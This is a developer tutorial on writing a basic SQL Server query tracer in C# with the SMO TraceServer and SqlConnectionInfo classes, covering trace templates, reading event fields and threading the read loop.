sf::Window, is enough for getting a window and its events,
but has no idea of how to draw something. In fact you won't be able to display anything from the
graphics package into a
sf::Window. That's why the graphics package provides a
window class containing more features and doing more redundant stuff for you :
sf::RenderWindow. As
sf::RenderWindow inherits from
sf::Window, it already contains all its features and acts exactly the same
for creation, event handling, etc. All
sf::RenderWindow does is adding features
for easily displaying graphics.
In fact, a minimal application using graphics package would be exactly the same as if using the window package, except the type of the window :
int main() { // Create the main rendering window sf::RenderWindow App(sf::VideoMode(800, 600, 32), "SFML Graphics"); // Start game loop while (App.IsOpened()) { // Process events sf::Event Event; while (App.GetEvent(Event)) { // Close window : exit if (Event.Type == sf::Event::Closed) App.Close(); } // Clear the screen (fill it with black color) App.Clear(); // Display window contents on screen App.Display(); } return EXIT_SUCCESS; }
The only difference here is that we've added a call to
Clear, so that the screen gets filled
with black instead of remaining with random pixels.
If you need to clear the screen with a different color, you can pass it as parameter :
App.Clear(sf::Color(200, 0, 0));
SFML graphics package provides a useful class for manipulating colors :
sf::Color.
Every color you'll have to handle in SFML will be a
sf::Color,
you can forget 32-bits integers and float arrays.
sf::Color basically contains four 8-bits components :
r (red),
g (green),
b (blue),
and
a (alpha -- for transparency) ; their values range from 0 to 255.
sf::Color provides some useful functions, operators and constructors, the one that
interests us here is the one that takes the 4 components as parameters (the fourth one, alpha, has a
default value of 255). So in the code above, we construct a
sf::Color with red component to 200,
and green and blue components to 0. So... we obtain a red background for our window.
Note that clearing the window is not actually needed if what you have to draw is going to cover the entire screen; do it only if you have some pixels which would remain undrawn.
Taking screenshots
This is probably not the most important thing, but it's always useful.
sf::RenderWindow provides a function to save its contents into an image :
Capture. Then you can easily save the image
to a file with the
SaveToFile function, or do whatever else you want.
So, for example, we can take a screenshot when the user presses the F1 key :
if (Event.Key.Code == sf::Key::F1) { sf::Image Screen = App.Capture(); Screen.SaveToFile("screenshot.jpg"); }
Of course, depending on the position of this line of code in the main loop, the captured image won't be the same.
It will capture the current contents of the screen at the time you call
Capture.
Mixing with OpenGL
It is of course still possible to use custom OpenGL commands with a
sf::RenderWindow, as you would do with a
sf::Window.
You can even mix SFML drawing commands and your own OpenGL ones. However, SFML doesn't preserve OpenGL states
by default. If SFML messes up with your OpenGL states and you want it to take care of
saving / resetting / restoring them, you have to call the
PreserveOpenGLStates function :
App.PreserveOpenGLStates(true);
Preserving OpenGL states is very CPU consuming and will degrade performances, use it only if you really need it. Also consider using your own code to manage the states you need to preserve, as it will be more efficient than the generic SFML code which takes care of every state, even the ones you don't care about.
Conclusion
There's not much more to say about render windows. They just act like base windows, adding some features to allow easy 2D rendering. More features will be explained in the next tutorials, begining with sprite rendering.
|
http://www.sfml-dev.org/tutorials/1.6/graphics-window.php
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
I have been staring at javascript in Windows 8, and it just seems weird. That anonymous thing with the empty set of parentheses at the end of the file. Why is it anonymous, is it a criminal on the look out for the police?
Here is what the code in one of the templates called “Blank App”, I don’t show the code above it.
(function () {
//Code removed for brevity sake
};
app.start(); })();
Why the empty parentheses? This makes the function “anonymous”, why is the function “anonymous”? Because it has no name! It’s true. This also means that we are able to do some cool things with the function. For instance we are able to control controls. Really, I didn’t just repeat the word control twice, one was the verb control and the other was the noun for objects that the user or system can interact with. Sometimes we need to know the exact order of when controls are used.
This can be done using anonymous functions. More in later blogs.
You do this so that your code inside the outer function doesn't pollute the global namespace when you declare functions and variables. This is not to make it "anonymous".
Emmm.. your sample code contains unbalanced curly brackets.
Btw, when you give the function a name and take it out, then replace the original part with the function name, it's really not that weird.
cheong00,
Oops, unbalanced are my curly bracket and so is my brain. Thank you for the feedback.
As to being weird, again, you are right. But when I think about it, all of software is weird. So JavaScript anonymous functions are part of the set of weird. See set theory in use!
Jesse,
Thank you for the comment, and you are right.
Legal Note:
Restrictions:
|
http://blogs.msdn.com/b/devschool/archive/2012/08/22/why-is-javascript-in-windows-8-so-anonymous-and-weird.aspx
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
Utility class to access widget metrics for the Macintosh.
More...
#include <macintosh_metric_extractor.hpp>
List of all members.
metric_extractor_t is a struct that allows for easy access to the metrics found in a parsed and evaluated xstr definition from the mac metrics library. See Mac Widget Metrics for more information on the dictionary format describing the metrics for a given widget.
Definition at line 129 of file macintosh_metric_extractor.hpp.
indices used to access elements for a compound (array-based) metric
first element
second element
third element
fourth element
same as index_left
same as index_top
Definition at line 132 of file macintosh_metric_extractor.hpp.
dictionary_t()
[explicit]
Definition at line 150 of file macintosh_metric_extractor.hpp.
If this extractor hasn't been setup yet or has no metrics stored within, then this function returns true, otherwise it returns false.
Definition at line 190 of file macintosh_metric_extractor.hpp.
Obtains a singleton metric from a compound (array-based) metric
Definition at line 173 of file macintosh_metric_extractor.hpp.
Obtains a singleton metric
Definition at line 157 of file macintosh_metric_extractor.hpp.
Definition at line 195 of file macintosh_metric_extractor.hpp.
[friend]
Definition at line 192 of file macintosh_metric_extractor.hpp.
Use of this website signifies your agreement to the Terms of Use and Online Privacy Policy.
Search powered by Google
|
http://stlab.adobe.com/structadobe_1_1metric__extractor__t.html
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
Strings in .NET are Immutable and can be very inefficient
Once you assign an initial value to a System.String object the data cannot be changed. This may seem incorrect because it looks like the value can be changed in code, but in reality any change made to a String results in a brand new String with the changed value. Understanding this is important so that we are aware of the inefficiencies of using the String type. If we had an application doing a lot of string processing there would be a performance penalty with using String types.
There is a great example of how String.Append is exponentially inefficient as string size increases on this web blog.
Thankfully .NET has the StringBuilder type in the System.Text namespace. The StringBuilder contains methods that help you with basic string manipulation and when you modify a string in code you are modifying the internal representation of that string in memory rather than making copies of it every time you make a change.
String manipulation example
String myString = "This string is immutable!";
myString = "Wait a second, I just changed the immutable string, didn't I?";
If you were to look at the CIL code generated in the above example, you’ll see two different strings being stored in memory.
StringBuilder Manipulation Example
using System.Text;
StringBuilder sb = new StringBuilder("This string can be changed");
sb.Append(".\n");
sb.Appendsb.AppendLine("Like this.");
sb.Replace(".","!");
myString = sb.ToString();
The above example modifies the string in memory and then assigns the resultant value to a string.
|
http://www.displacedguy.com/tech/net-system-string-vs-system-text-stringbuilder/
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
NAME
aio_waitcomplete -- wait for the next completion of an aio request
LIBRARY
Standard C Library (libc, -lc)
SYNOPSIS
#include <aio.h> int aio_waitcomplete(struct aiocb **iocbp, struct timespec *timeout);
DESCRIPTION
The aio_waitcomplete() system call waits for completion of an asynchronous. If timeout is a non-NULL pointer, it specifies a maximum interval to wait for a asynchronous I/O request to complete. If timeout is a NULL pointer, aio_waitcomplete() waits indefinitely. To effect a poll, the timeout argument should be non-NULL, pointing to a zero-valued timeval structure. The aio_waitcomplete() system call also serves the function of aio_return(), thus aio_return() should not be called for the control block returned in iocbp.
RETURN VALUES
If an asynchronous I/O request has completed, iocbp is set to point to the control block passed with the original request, and the status is returned as described in read(2), write(2), or fsync(2). On failure, aio_waitcomplete() returns -1, sets iocbp to NULL and sets errno to indicate the error condition.
ERRORS
The aio_waitcomplete() system call fails if: [EINVAL] The specified time limit is invalid. [EAGAIN] The process has not yet called aio_read() or aio_write(). [EINTR] A signal was delivered before the timeout expired and before any asynchronous I/O requests completed. [EWOULDBLOCK] [EINPROGRESS] The specified time limit expired before any asynchronous I/O requests completed.
SEE ALSO
aio_cancel(2), aio_error(2), aio_read(2), aio_return(2), aio_suspend(2), aio_write(2), fsync(2), read(2), write(2), aio(4)
STANDARDS
The aio_waitcomplete() system call is a FreeBSD-specific extension.
HISTORY
The aio_waitcomplete() system call first appeared in FreeBSD 4.0.
AUTHORS
The aio_waitcomplete() system call and this manual page were written by Christopher M Sedore <cmsedore@maxwell.syr.edu>.
|
http://manpages.ubuntu.com/manpages/precise/man2/aio_waitcomplete.2freebsd.html
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
I got the exception pasted below twice recently. Seems to happen after the
build bot has been up for a few days. The build slave is on the same
physical host, it's a vmware machine.
One thing I'm noticing, not sure it's relevant, is that the date on the
vmware machine seems to skew quite badly. It lags of about half an hour
within a few days. I'm gonna try to fix this in case it's related.
TTimo
--
Traceback (most recent call last):
File "/home/timo/usr/python2.2/lib/python2.2/site-packages/twisted/internet/default.py", line 131, in mainLoop
self.runUntilCurrent()
File "/home/timo/usr/python2.2/lib/python2.2/site-packages/twisted/internet/base.py", line 361, in runUntilCurrent
call.func(*call.args, **call.kw)
File "/home/timo/usr/python2.2/lib/python2.2/site-packages/twisted/internet/defer.py", line 193, in callback
self._startRunCallbacks(result, 0)
File "/home/timo/usr/python2.2/lib/python2.2/site-packages/twisted/internet/defer.py", line 249, in _startRunCallbacks
self._runCallbacks()
--- <exception caught here> ---
File "/home/timo/usr/python2.2/lib/python2.2/site-packages/twisted/internet/defer.py", line 262, in _runCallbacks
self.result = callback(self.result, *args, **kw)
File "/home/timo/usr/python2.2/lib/python2.2/site-packages/buildbot/process/base.py", line 681, in stepDone
return self.buildDone()
File "/home/timo/usr/python2.2/lib/python2.2/site-packages/buildbot/process/base.py", line 718, in buildDone
return self.buildFinished(e, success)
File "/home/timo/usr/python2.2/lib/python2.2/site-packages/buildbot/process/base.py", line 293, in buildFinished
self.builder.setExpectations(self.progress)
File "/home/timo/usr/python2.2/lib/python2.2/site-packages/buildbot/process/base.py", line 569, in setExpectations
self.expectations.update(progress)
File "/home/timo/usr/python2.2/lib/python2.2/site-packages/buildbot/status/progress.py", line 244, in update
new = self.wavg(old, current)
File "/home/timo/usr/python2.2/lib/python2.2/site-packages/buildbot/status/progress.py", line 239, in wavg
return (current * decay) + (old * (1 - decay))
exceptions.TypeError: unsupported operand type(s) for *: 'NoneType' and 'float'
> I got the exception pasted below twice recently. Seems to happen after the
> build bot has been up for a few days. The build slave is on the same
> physical host, it's a vmware machine.
Hmm, it looks like 'current' was None. I think that means the progress record
was updated before the step actually finished. I'd bet some of the
failed-build code paths have problems: probably one of them doesn't mark the
step as having finished, but calls the buildFinished function anyway. If the
step doesn't finish, progress.stopTime isn't set, so the step has an
undefined running time. When the build finishes it tries to average None into
the previous running time, hence your exception.
I've added a test to buildbot/status/progress.py to catch this case and
ignore the time updates. It will also emit a message to the log:
log.msg("Expectations.update: current[%s] was None!" % name)
If you see this message, look back through the display to see what steps have
passed or failed in the current build. I suspect a step is failing in a way
that doesn't terminate the step properly. Another symptom might be if you
click on the "log" link for that step and your browser behaves like it's
waiting for more text after the log is finished downloading. The trick I use
to let you start viewing logs that aren't finished yet (such that the
contents are sent to your browser as they arrive) tends to get confused when
the step fails unexpectedly, such that the step is done but doesn't know it
is done, so it never closes the HTTP connection.
If you see either of these symptoms, could you take a look at the logs and
see if you can figure out which step failed and what messages it emitted as
it failed? I'd like to figure out which code path is not cleaning up
properly.
thanks,
-Brian
|
http://sourceforge.net/p/buildbot/mailman/message/4575089/
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
my %hash = (
a => 1,
b => 2,
c => 3,
d => 4
);
sub foo
{
my $n = ($_[0]) ? $_[0] : keys %hash;
return (keys %hash)[0 .. ($n - 1)]; # return %hash keys from 0 to $n
+ - 1
}
my $bar = &foo(); # want to return the number of keys of %hash
print "$bar\n";
[download]
What does a "list slice" return in a scalar context? It isn't actually documented (though some make outrageous claims that it is).
But it isn't the number of items in the slice. If you want a count returned in the case of scalar context, then use wantarray to code for that.
What does a "list slice" return in a scalar context? It isn't actually documented (though some make outrageous claims that it is).
@days{'a','c'} # same as ($days{'a'},$days{'c'})
[download]
And as always, patches welcome. Turn them in, or shut up about this.
-- Randal L. Schwartz, Perl hacker
I don't really care that the behavior of a list slice in a scalar context isn't documented. What I mind is the silly claim that the comment "same as" in a one-line example about a hash slice (or even an array slice) is supposed to be considered as documentation about how a list slice behaves in a scalar context.
By your logic, the line just below that:
%days # (key1, val1, key2, val2 ...)
indicates that %days in a scalar context should return the "last" value of the hash. Or is it only when the magic "same as" words are written that it should become obvious to me that "same to the point of returning the same value in a scalar context" is meant, but not, for example, "same to the point of meaning the same thing when passed to localtime()" or any other possible overextensions of the term "same as"?
So unless you are accepting patches for your logic, I have none to submit. q-:
sub foo
{
my $n = $_[0] ? $_[0] : keys %hash;
return wantarray() ? (keys %hash)[0..($n-1)]
: $n
}
[download]
my @bar=foo();
print "@bar\n";
[download]
my $baz=scalar(@bar);
[download]
--
Me spell chucker work grate. Need grandma chicken.
", "three"];
[download]
the value returned by foo is evaluated in an array context
Actually, the = (assignment operator) imposes the context of the 'lvalue' onto the 'rvalue.' That means that since the left side of the = is a scalar ($bar), the right side is evaluated in a scal
|
http://www.perlmonks.org/index.pl?node_id=63927
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
NAME
daemon - run in the background
SYNOPSIS
#include <unistd.h> int daemon(int nochdir, int noclose); Feature Test Macro Requirements for glibc (see feature_test_macros(7)): daemon(): _BSD_SOURCE || (_XOPEN_SOURCE && _XOPEN_SOURCE < 500)
DESCRIPTION
The daemon() function is for programs wishing to detach themselves from the controlling terminal and run in the background as system daemons. If nochdir is zero, daemon() changes the calling process's current working directory to the root directory ("/"); otherwise, the current working directory is left unchanged. If noclose is zero, daemon() redirects standard input, standard output and standard error to /dev/null; otherwise, no changes are made to these file descriptors.
RETURN VALUE
(This function forks, and if the fork(2) succeeds, the parent calls _exit(2), so that further errors are seen by the child only.) On success daemon() returns zero. If an error occurs, daemon() returns -1 and sets errno to any of the errors specified for the fork(2) and setsid(2).
CONFORMING TO
Not in POSIX.1-2001. A similar function appears on the BSDs. The daemon() function first appeared in 4.4BSD.
NOTES
The glibc implementation can also return -1 when /dev/null exists but is not a character device with the expected major and minor numbers. In this case errno need not be set.
SEE ALSO
fork(2), setsid(2)
COLOPHON
This page is part of release 3.27 of the Linux man-pages project. A description of the project, and information about reporting bugs, can be found at.
|
http://manpages.ubuntu.com/manpages/oneiric/man3/daemon.3.html
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
You can subscribe to this list here.
Showing
6
results of 6
Update:
With respect to "import pymol", I think all of the reported segmentation
fault and race conditions have now been eliminated from the very latest
source code. Since everyone doesn't have CVS access, I have posted a
source tar-gz file on with updated instructions
on building and usage.
So if you are a unix-based Python developer with an interest in calling
PyMOL from you own stadalone applications, then this would be a good
time to try building from source into your own Python environment in
order to see whether or not it can work for you. Windows is a
possibility too, but getting all the dependencies satisfied under Win32
is a bit of a chore.
Hi, all
I am trying to align two proteins, but I would like to specify different
regions for different alignment, since the two proteins that I wish to
align has a hinge region.
I tried the fit command, as the following:
fit (protein1 and chain A and resi 200-300 and name ca), (protein 2 and
chain B and resi 200-300 and name ca)
and it did not work, "no atoms selected".
can someone tell me the best way to do it?
Thank you
Jie
Dmitriy,
I spent a few minutes yesterday trying to track down the seg. fault -- =
there are at least three issues here...
One appears to be a race condition inside of Tcl/Tk-to-Python call =
interface, which is most apparent on multi-cpu systems, and for which I =
have no solution yet other than disabling the external GUI altogether.
The second is a blunder on my part in the CmdReady function in =
layer4/Cmd.c:
static PyObject *CmdReady(PyObject *dummy, PyObject *args)=20
{
return(APIResultCode(TempPyMOLGlobals->Ready));
}
should be
static PyObject *CmdReady(PyObject *dummy, PyObject *args)=20
{
if(TempPyMOLGlobals) {
return(APIResultCode(TempPyMOLGlobals->Ready));
} else {
return(APIResultCode(0));
}
}
since TempPyMOLGlobals can't be derefrenced until it exists. =20
The third issue appears to be a Python initialization issue that also =
only rears its ugly head on SMP machines:
finish_launching() in modules/pymol/__init__.py needs to be updated as =
follows:
def finish_launching():
e=3Dthreading.Event()
while not hasattr(__main__,'pymol'):
e.wait(0.01)
while not _cmd.ready():
e.wait(0.01)
while not hasattr(__main__.pymol,'xray'):
e.wait(0.01)
in order to allow time for the xray module to initialize before loading =
structures.
These changes have been committed to CVS.: Dmitriy Igor Bryndin [mailto:bryndind@...]=20
> Sent: Tuesday, October 11, 2005 5:06 AM
> To: Warren DeLano
> Cc: pymol-users@...
> Subject: Re: [PyMOL] PyMol segmentation fault while starting=20
> from external python program
>=20
> Warren=20
>=20
> It seems like PyMol should have time to load after import=20
> pymol and before anything else can be done with it.
> If I=B4ll do
> ------------------------------
> pymol_argv =3D ['pymol', '-qx']
> import pymol
> # let`s give pymol some time to load
> for a in range(1000000):
> b=3D0=20
>=20
> pymol.finish_launching()=20
>=20
> from pymol import cmd=20
>=20
> cmd.load("$HOME/pept.pdb")
> cmd.show("sticks")
> ------------------------------
> everything is fine. It loads and shows the picture.
> =B4for a in range(100)=B4 for example will produce segmentation =
fault.=20
>=20
> As far as I understand =B4pymol.finish_launching()=B4 is meant to=20
> produce such delay. Correct me if I=B4m wrong. But this call=20
> produce segm fault by itself without a waiting cycle.=20
>=20
> Can you recommend some workaround for this problem? This=20
> stupid cycle may work on my machine, but may not work on a=20
> faster one. Is there any way to find out that PyMol window=20
> had loaded?=20
>=20
> Thanks
> Dmitriy Bryndin=20
>=20
> =20
>=20
> =20
>=20
> =20
>=20
>=20
> Warren DeLano writes:=20
>=20
> > Dmitriy,
> >=20
> > Due to problem with multithreading (especially with the Tcl/Tk=20
> > external GUI), we haven't been able to get the "import=20
> pymol" approach to work in
> > a stable robust manner across different OSes and environments. =20
> >=20
> > So sight now, as per comments in=20
> "modules/pymol/__init__.py", the only=20
> > supported way to launch PyMOL is to run the __init__.py script on=20
> > startup.
> >=20
> > %python modules/pymol/__init__.py
> >=20
> > Hoever, if you disable the external GUI, then you might be=20
> able to get=20
> > "import pymol" to work...
> >=20
> > pymol_argv =3D ['pymol', '-qx']
> > import pymol
> > pymol.finish_launching()
> >=20
> > from pymol import cmd
> >=20
> > cmd.load(...etc.=20
> >=20
> >=20
> > Cheers,
> > Warren
> >=20
> >=20
> > --
> > Warren L. DeLano, Ph.D. =20
> > Principal Scientist
> >=20
> > . DeLano Scientific LLC =20
> > . 400 Oyster Point Blvd., Suite 213 =20
> > . South San Francisco, CA 94080 USA =20
> > . Biz:(650)-872-0942 Tech:(650)-872-0834 =20
> > . mailto:warren@... =20
> > =20
> >=20
> >> -----Original Message-----
> >> From: pymol-users-admin@...
> >> [mailto:pymol-users-admin@...] On Behalf=20
> Of Dmitriy=20
> >> Igor Bryndin
> >> Sent: Monday, October 10, 2005 2:33 PM
> >> To: pymol-users@...
> >> Subject: [PyMOL] PyMol segmentation fault while starting from=20
> >> external python program
> >>=20
> >> Launching PyMol form external python script will produce=20
> >> segmaentation fault.
> >> For example starting "launch.py" from "/pymol/examples/launching"
> >> ----------------------------------------------
> >> $ python launch.py
> >> zsh: segmentation fault python launch.py
> >> ----------------------------------------------
> >> Crashes without even showing PyMol windows. =20
> >>=20
> >> Tried it on Fedora Core 1, Fedora Core 4, Mandriva 2005. The same=20
> >> story.
> >> Different pythons and compiling different versions of=20
> PyMol does not=20
> >> change anything.
> >>=20
> >> It will launch PyMol windows if there is only
> >> import pymol
> >> line. =20
> >>=20
> >> Adding
> >> pymol.finish_launching()
> >> or
> >> from pymol import cmd
> >> cmd.load("$PYMOL_PATH/test/dat/pept.pdb")
> >> will produce segmentation fault. With no windows shown. =20
> >>=20
> >> The same time if I'll try to debug step by step, let's say,=20
> >> "launch_demo.py"
> >> (from "/pymol/examples/launching")
> >> -------------------------------
> >> pymol.finish_launching()
> >> from pymol import cmd
> >> cmd.load("$PYMOL_PATH/test/dat/pept.pdb")
> >> cmd.show("sticks")
> >> -------------------------------
> >> using IDLE. Everything will work. It starts windows, loads a file,=20
> >> changes to sticks...
> >> Running it "python launch_demo.py" will wait for a second=20
> and return=20
> >> segmentation fault.
> >>=20
> >> If someone knows what's going on, please help me. =20
> >>=20
> >> Thanks
> >> Dmitriy Bryndin
> >>=20
> >> =20
> >>=20
> >> =20
> >>=20
> >> -------------------------------------------------------
> >> This SF.Net email is sponsored by:
> >> Power Architecture Resource Center: Free content, downloads,=20
> >> discussions, and more.
> >> _______________________________________________
> >> PyMOL-users mailing list
> >> PyMOL-users@...
> >>
> >>=20
> >> =20
> >>=20
> >>=20
> >=20
> =20
>=20
>=20
>=20
>=20
>=20
>=20
|...
Thanks (again) Gilleain, that's exactly what I needed.
Regards,
Terry.
Hi all! Just wondering whether it is possible to write movie pngs
with transparent background (as with the set ray_opaque_background)
without ray-tracing, i.e. to save time but still get rather nice
movies...
/Anders
Hi,
I was curious, and tried this out....
gilleain torrance
On 10 Oct 2005, at 22:12, Terry Jones wrote:
> Hi. I've run into a slight pymol UI problem with cgo objects and I'm
> wondering if I should be doing something differently or if it's a
> pymol
> idiosyncrasy.
>
> Here's a script:
>
> from pymol.cgo import *
> from pymol import cmd
>
> one = [ SPHERE, 0.0, 0.0, 0.0, 1.0 ]
> two = [ SPHERE, 2.0, 0.0, 0.0, 1.0 ]
>
> cmd.load_cgo(one, 'one')
> cmd.load_cgo(two, 'two')
> cmd.hide('cgo', 'two')
>
> When I load it into pymol (using the run command on the command
> line), the
> 'one' sphere appears. I expected to be able to click on the gray
> 'two' item
> on the right side of the pymol GUI and have the two sphere appear.
> But this
> doesn't work. Instead, I have to click on 'S' next to the two
> indicator,
> drag down to 'cgo' and then the sphere appears. After this initial
> step I
> can turn the display of sphere two on and off with the 'two' toggle
> just
> like I can do from the outset with the 'one' toggle/button.
>
> Should the 'two' button toggle right away? If not, is there some pymol
> command I can issue to enable that?
>
> I hope this is clear enough. Please let me know if there's not enough
> detail. I'm doing this with pymol 0.98 on Mac OSX 10.3.9. I get the
> same
> behavior in both the Aqua pymol and the X11 hybrid.
>
> Regards,
> Terry
>
>
> -------------------------------------------------------
> This SF.Net email is sponsored by:
> Power Architecture Resource Center: Free content, downloads,
> discussions,
> and more.
> _______________________________________________
> PyMOL-users mailing list
> PyMOL-users@...
>
>
|
http://sourceforge.net/p/pymol/mailman/pymol-users/?viewmonth=200510&viewday=11
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
arXiv - Components from the arXiv.org repository
Version 1.01
Modules in the arXiv (pronouced archive as if the X were a greek chi) namespace and included in the arXiv CPAN module are components of the arXiv.org () e-print repository which has been written mostly in Perl since the early 90's (before the web!). We offer these components in the hope that they may be useful to others, especially those writing software to interact with arXiv. The arXiv codebase has evolved over many years, through many versions of Perl (from Perl 3), and other system components. It has been refactored in various ways but you may find that the factoring and idioms are not always the most up-to-date.
We expect release of components to be a gradual process and they will not always be closely related. See the "DESCRIPTION" section below for details.
This particular module does nothing except provide $VERSION:
use arXiv; print "We have version ".$arXiv::VERSION." of the arXiv modules.\n";
This is arXiv's central file type detection code. It is used when processing incoming submissions to determine how to handle an incoming source package and by the access system when reprocessing for different formats is requests. It is used by the TeX::AutoTeX automatic TeX processing engine which will be released separately. (For anything except arXiv specific handling it is likely better that the Unix
file(1) command with detailed and regularly updated magic sequences be used. Such updates have problems in an archival environment however.
Developers at arXiv.org,
<simeon at cpan.org>
Please report any bugs to
bug-arxiv at rt.cpan.org, or through the web interface at. We will be notified, and then you will automatically be notified of any progress.
These modules are released from our production system without any commitment to provide support. You can find documentation for this module and sub-modules with the perldoc command, e.g.:
perldoc arXiv
You can also look for information at CPAN's request tracker:
L<>
The code for arXiv is the work of many developers and has benefited from the input of many collaborators and contributors over the years.
This program is free software; you can redistribute it and/or modify it under the terms of either: the GNU General Public License as published by the Free Software Foundation; or the Artistic License.
See for more information.
|
http://search.cpan.org/~simeon/arXiv-1.01/lib/arXiv.pm
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
asciitomathml .89
Module converts ASCII math to Mathml
Overview
The asciitomathml converts ASCII math to MathML. See for more details. As an example, asciitomathml converts the string x^2 to:
<math xmlns=""> <mstyle> <msup> <mi>x</mi> <mn>2</mn> </msup> </mstyle> </math>
Installation
Install asciitomathml in the normal way:
python setup.py install
Or, for pip:
pip install asciitomathml
Installation for Python 3
I have included a small script to convert the library to python 3. Run this script with a bash command:
bash to_3.sh
If you are running Windows, then do the following three steps:
- Run the script asciitomathml/asciitomathml.py > temp.py
- mv temp.py asciitomathml/asciitomathml.py
- 2to3 -w asciitomathml/asciitomathml.py
Then install as you would as above:
python3 setup.py install
Use
The following creates etree from a string:
import asciitomathml.asciitomathml the_string = 'x^2' the_string = unicode(the_string.decode('utf8')) # adjust to your own encoding math_obj = asciitomathml.asciitomathml.AsciiMathML() math_obj.parse_string(the_string)
Warning
Note that you must pass a Unicode string to the parse_string method. If you do not, and your text contains encoding not in the US-ASCII range, you most likely get an ugly error.
In order to get the tree, use th math_tree method:
math_tree = math_obj.get_tree() # math_tree is an etree object
Instead, if you want an XML string, use the to_xml_string method:
xml_string = math_obj.to_xml_string() # xml_string is an XML string
The xml_string will have type ‘str’ and be encoded as US-ASCII. For XML applications, this encoding (with entities, of course) will render exactly the same as encoding the string. If you need a differenct encoding, however, pass the “encoding” option to the to_xml_string method:
xml_string = math_obj.to_xml_string(encoding='utf8')
If you pass an encoding other than utf8 to this method, the string will start with the standard XML encoding, in accordance with XML standards:
<?xml version='1.0' encoding='utf8'?>
If you are incorporating the string into an XML document, and don’t want the encoding string, you should probably use the get_tree method and incorporate the resulting object into your etree document. Likewise, by not passing any encoding to this method, the returned string will be encoded as ASCII and should not include the encoding part of the string. However, if for whatever reason you need a tree without the encoding, pass the no_encoding_string option to the to_xml_string method:
xml_string = math_obj.to_xml_string(encoding="utf8", no_encoding_string = True)
Math style
You can pass any attributes to the <msstyle> that are allowed. Use the mstyle option to pass a dictionary when creating the method:
math_obj = asciitomathml.asciitomathml.AsciiMathML(mstyle={'displaystyle':'true'})
The most useful attribute is probably displaystyle. In general, set this attribute to true if you will put the equation by itself, in block. Otherwise, don’t set this value at all, or set it to false. The consortium for mathml explains it this way:”“.
Scripts
I have included two scripts as examples. These scripts show the capability of the libarary. Since they must read text from a file, form paragraphs, and distinguish between math and non math markup, they are not meant as tools for extensive conversion of text to HTM or FO. For such conversions, see:
Specifically, see the sandbox/docbook directory, which features extensive stylesheets and instructions for converting text to docbook, and then to HTML or FO.
In order to use the scripts, type:
python scripts/asciimath2fo.py <file.txt>
or:
python scripts/asciimath2html.py <file.txt>
The scripts convert anything between “`” and “`” to mathml; otherwise, the scripts just copy the text verbatim. See the examples in the example directory. For a quick start, try:
python scripts/asciimath2html.py examples/linear_regression.txt > linear.xhtml
and then open linear.xhtml in a browser that can handle mathml, such as Firefox.
Test
To test the library, change to the test directory and type
python test_asciimath.py
You should get no messages.
- Downloads (All Versions):
- 0 downloads in the last day
- 51 downloads in the last week
- 429 downloads in the last month
- Author: Paul Tremblay
- License: BSD
- Platform: any
- Categories
- Package Index Owner: paulhtremblay
- DOAP record: asciitomathml-.89.xml
|
https://pypi.python.org/pypi/asciitomathml
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
Microsoft SQL Server Profiler is a helper for developers which is a client tool that comes with SQL Server. MS SQL Server Express edition does not come with SQL Profiler bundled. We use this tool to trace through queries. I mostly use this for peer testing as well as when the customer reports some bugs. Well, if you are a 'standard' SQL coder, you won't need to use these tools. May be you have already seen my article on SQL good practices.
This article is an introduction to the implementation of a 'profiler like thing' with .NET. I would like to call it 'SQL Tracer' since it is out of the scope of this page to develop all the functionalities of a SQL Profiler. I have chosen C# for the demonstration.
I was very much satisfied with the SQL Profiler which is available with Microsoft SQL Server 2000. But the one that comes with SQL Server 2005 seems a little bit slow. It inspired me to develop a fast query tracer tool.
You must have Microsoft SQL Profiler components installed in your machine. You may be asking why we need this new tool if we already have the MS SQL Profiler. Note that the one I explain here is not an alternative for MS SQL Profiler. This is a handy tool with very basic functionalities. As a result, this tool gives you fast results. More than that, this article is for educational purposes.
First... Add Reference to Microsoft.SqlServer.ConnectionInfo.
From this, we will get two namespaces:
using Microsoft.SqlServer.Management.Trace;
using Microsoft.SqlServer.Management.Common;
For this example, I would recommend a ListView control since it gives the look and feel of the real Microsoft SQL Server Profiler.
ListView
The TraceServer class acts as a representation of a new SQL Server Trace. More information is available here.
TraceServer
You need to create a .tdf file, which is a template file. You can either create a new .tdf by using Save as option from the SQL Server Profiler itself, or you can use the default ones available on your installation folder, which is usually - E:\Program Files\Microsoft SQL Server\90\Tools\Profiler\Templates\Microsoft SQL Server\80\*.tdf.
With this class, we will initialize the server host, username, etc. It usually looks like this:
ConnectionInfoBase conninfo = new SqlConnectionInfo();
((SqlConnectionInfo)conninfo).ServerName = "MyComputerNameOrIP";
((SqlConnectionInfo)conninfo).UserName = "PraveenIsMyUsername";
((SqlConnectionInfo)conninfo).Password = "MyPassword";
((SqlConnectionInfo)conninfo).UseIntegratedSecurity = false;
More information about this class is available here.
This method is used to initialize an object for reading from the trace log file or server. E.g.:
TraceServer trace = new TraceServer();
trace.InitializeAsReader(conninfo, "mytracetemplate.tdf");
InitializeAsReader causes the initialization and starting of the tracing operation.
InitializeAsReader
trace.Read() is used to read trace information from SQL Server. You can put a loop to fetch all the trace information. Like this:
trace.Read()
while (trace.Read()) {
//Statements;
}
Inside this loop, you can display status information in a ListView. The trace object contains all the needed properties.
trace
trace["EventClass"] contains information like ExistingConnection, Audit Login, Audit Logout, RPC:Completed, Trace Start etc. If you are a SQL Profiler user, then you are already familiar with these messages.
trace["EventClass"]
trace["TextData"] is the element which contains the queries which are being executed.
trace["TextData"]
Like this, we have trace["ApplicationName"], trace["Duration"] etc. also available. These elements are defined in your .tdf file. So investigate it. trace.FieldCount will give you the number of fields available. Since this article is for intermediate users and you know about fetching the values from collections etc., I will not mention it here.
trace["ApplicationName"]
trace["Duration"]
trace.FieldCount
Since trace.Read() will not give you control to do your other tasks, there is a chance you will feel like your application died. So, use Thread.
Thread
You can control the tracing by applying the trace.start(), trace.pause(), and trace.stop() methods.
trace.start()
trace.pause()
trace.stop()
Do not forget to use trace.close() after use. Standard practice anyway.
trace.close()
Unfortunately, I do not have a stable sample application to provide. I will upload it once I get.
|
